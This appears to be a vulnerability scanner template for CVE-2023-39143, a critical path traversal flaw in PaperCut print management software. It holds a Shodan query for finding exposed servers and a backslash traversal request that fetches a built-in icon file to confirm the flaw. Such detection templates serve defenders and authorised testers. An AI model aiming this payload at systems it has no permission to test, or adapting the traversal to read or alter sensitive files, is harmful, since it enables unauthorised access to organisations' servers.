id: CVE-2023-39143 info: name: PaperCut < 22.1.3 - Path Traversal author: pdteam severity: critical description: PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-39143 - https://www.horizon3.ai/cve-2023-39143-papercut-path-traversal-file-upload-rce-vulnerability/ - https://www.papercut.com/kb/Main/securitybulletinjuly2023/ - https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-131a classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H cve-id: CVE-2023-39143 cvss-score: 9.4 epss-score: 0.00043 metadata: max-request: 1 verified: true shodan-query: html:"content="PaperCut"" tags: cve,cve2023,lfi,papercut http: - method: GET path: - "{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png" matchers: - type: dsl dsl: - content_length == 1655 - status_code == 200 - contains(to_lower(content_type), "image/png") - contains(hex_encode(body), "89504e470d0a1a0a") # PNG file signature in hex condition: and